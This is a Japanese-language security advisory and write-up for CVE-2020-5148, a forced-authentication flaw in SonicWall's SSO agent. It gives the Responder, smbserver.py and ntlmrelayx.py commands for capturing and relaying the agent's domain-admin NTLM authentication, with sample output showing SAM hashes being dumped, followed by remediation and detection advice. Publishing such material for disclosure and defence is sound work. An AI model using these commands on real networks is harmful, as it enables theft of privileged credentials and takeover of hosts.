CVE-2020-5148

SonicWall UTM SSO エージェントにおける強制認証 (Forced Authentication)

SonicWall SSO エージェントは、NetAPI(デフォルト)または WMI でワークステーションをプローブすることにより、特定の IP アドレスの背後にいるユーザーを識別します。NTLM 認証を開始する前にワークステーションを検証せず、セッションの存続中は同じアドレスへのポーリングを継続します。

SSO エージェントサービスは、プローブするすべてのワークステーションとサーバーに対する管理者権限を必要とするため、実際にはドメイン管理者として展開されます。したがって、UTM アプライアンスに Web トラフィックをルーティングできる認証されていない任意のユーザーは、ドメイン管理者アカウントを任意のホストに対して認証させ、その認証をキャプチャまたはリレーすることができます。

CVE-2020-5148 として公開され、ベンダー勧告は SNWLID-2021-0003 です。

Show Up Show Out Security の Sedric Louissaint によって発見および報告されました。

概要

NVD の説明:

SonicWall SSO エージェントのデフォルト構成は NetAPI を使用してネットワーク内の関連 IP をプローブします。このクライアントプロービング方法により、攻撃者がパスワードハッシュをキャプチャする可能性があります。

技術的詳細

意図されたフローと、そこで省略されている 2 つのステップ

1. ユーザーのトラフィックが SonicWALL UTM アプライアンスに到達します。
2. アプライアンスはユーザーの IP を「User Name Request」として SSO エージェントに送信します。ブロックされたパケットは保持されます。
3. SSO エージェントは、そのワークステーションにログインしているユーザー名を返信します。
4. LDAP またはローカルデータベースがグループメンバーシップを解決します。
5. ポリシーが適用され、保持されていたトラフィックが解放されます。
6. アプライアンスは SSO エージェントへのポーリングを継続し、同じユーザーがまだログオンしていることを確認します。

注釈は、ベンダーの図では省略されている部分を示しています:

• ステップ 2.5 SSO エージェントは、ワークステーションを照会する前に、そのワークステーションに対して認証を行う必要があります。これは、トラフィックを生成した誰かによって提供されたアドレスへの送信 NTLM ハンドシェイクであり、そのアドレスの事前検証はありません。
• ステップ 5.5 エージェントは、セッションの存続中、すべてのポーリングでその認証を繰り返します。ポーリング間隔は GUI で設定可能です。

権限コンテキスト

SSO エージェントサービスは、照会を実行するために、関連するすべてのワークステーションとサーバーに対する管理者権限を必要とします。事実上すべての展開において、これはサービスアカウントがドメイン管理者であることを意味します。

したがって、検証されていないホストに渡される資格情報は、ディレクトリ内で最も特権の高いアカウントです。

トリガー方法

エクスプロイトコードはありません。アプライアンスが処理するセグメントからの任意の送信 Web リクエストで十分です:

curl sonicwall.com

URL は無関係で、リクエストが成功する必要もありません。アプライアンスは認識されていない IP からのトラフィックを監視し、SSO エージェントにそのユーザーの特定を要求し、エージェントはその IP に対して認証を行います。

資格情報のキャプチャ

Responder または smbserver.py を待ち受け状態にしておくと、エージェントの NTLMv2 認証が要求なしで届き、ポーリング動作により届き続けます:

[SMB] NTLMv2-SSP Client   : 192.168.x.x
[SMB] NTLMv2-SSP Username : <DOMAIN>\<privileged account>
[SMB] NTLMv2-SSP Hash     : ...

リレー

クラッキングは任意です。SMB 署名が強制されていない場合、認証を別のホストにライブでリレーでき、そのホストは接続を、見かけ上の特権アカウントとして扱います:

ntlmrelayx.py -t <target> -smb2support -of <output>

[*] SMBD-Thread-4: Received connection from 192.168.x.x, attacking target smb://192.168.x.x
[*] Authenticating against smb://192.168.x.x as <DOMAIN>\<user> SUCCEED
[*] Starting service RemoteRegistry
[*] Target system bootKey: ...
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
[*] Done dumping SAM hashes for host: 192.168.x.x

この認証は、認証されていない Web リクエストによってトリガーされ、完全に別のマシンで消費されます。これが、勧告で説明されている完全な ACL バイパスです。

再現

自分が所有する、またはテストを許可されたラボで、SSO 用に構成された UTM アプライアンスと、デフォルトの NetAPI クライアントプロービング方式を使用する SSO エージェントを使用します:

1. アプライアンスが処理するセグメント内のホストでリスナーを起動します:
   root@kitploit:~

   sudo responder -I <interface>
   # or
   sudo smbserver.py c . -smb2support
   

2. 同じホストから、アプライアンス経由で任意の送信 Web トラフィックを生成します:
   root@kitploit:~

   curl sonicwall.com
   

3. 脆弱な構成では、数秒以内に SSO エージェントサービスアカウントからの受信 NTLMv2 認証が発生します。しばらく待つと、ポーリングによってそれが繰り返されます。
4. キャプチャではなくリレーを試す場合は、SMB 署名が無効なホストに対して行います:
   root@kitploit:~

   ntlmrelayx.py -t smb://<second-host> -smb2support -of relayed
   

完全なコマンドシーケンスは poc/repro.sh にあります。

リポジトリの内容

poc/
  repro.sh       Listener, trigger and relay commands, commented, safe to read first
  notes.md       Why NetAPI triggers this, what WMI changes, detection guidance
media/
  01-sso-flow-annotated.png
  02-curl-crossing-network-boundary.png
  03-ntlmv2-hashes-captured.png
  04-ntlmrelayx-sam-dump.png
  05-sso-agent-version-4.1.10.0.png

キャプチャ内のユーザー名、ハッシュ、内部アドレスは、編集済みであるか、元のラボのものです。

修復策

1. クライアントプロービングを NetAPI から WMI に切り替えます。 これはベンダーが文書化した回避策であり、最も迅速に効果のある変更です。
2. SSO エージェントを、どこにでもログインできるアカウントとして実行しないでください。 administrator が SSO エージェントサービス、DC、Exchange サーバー、ターミナルサーバーを介してログインすることを許可しないでください。アカウントを特権のまま維持する必要がある場合は、オフラインでのクラッキングが現実的でない長さのパスワード(20 文字以上、再利用しない)を使用してください。
3. Directory Services Connector をアップグレードします。 NVD は修正を 4.1.19 に記録しています。研究者のテストでは、4.1.19 以降も根本的なプロービング動作を示し、それを削除するのではなく警告を表示したことに注意してください。警告は制御策ではないため、WMI への切り替えとアカウントの堅牢化を実際の緩和策として扱ってください。
4. 環境全体で SMB 署名を強制します。 これにより資格情報のキャプチャは止まりませんが、リレーという選択肢は排除されます。
5. サポートしているサービスでは認証の拡張保護 (Extended Protection for Authentication) を検討し、境界での送信 SMB を制限します。
6. 検出します。 SSO エージェントサービスアカウントから、管理対象ワークステーションではないホストへの認証試行は、高シグナルのイベントです。そのアカウントがインベントリに一度も登場したことのないアドレスに対して認証を行うことも同様です。

タイムライン

関連記事

• 個人アカウント: https://sedriclouissaint.com/blog/sonicwall-utm-sso-forced-authentication-cve-2020-5148/
• Show Up Show Out Security: https://susos.co/blog/authforce-sonicwall-utm-sso-forced-authentication-cve-2020-5148

免責事項

ベンダー開示後、防御および教育目的で公開されています。ここにエクスプロイトコードがないのは、それが不要だからであり、それがこの発見の要点です。所有していないネットワーク、または書面によるテストの許可がないネットワークに対して、これらのコマンドを実行しないでください。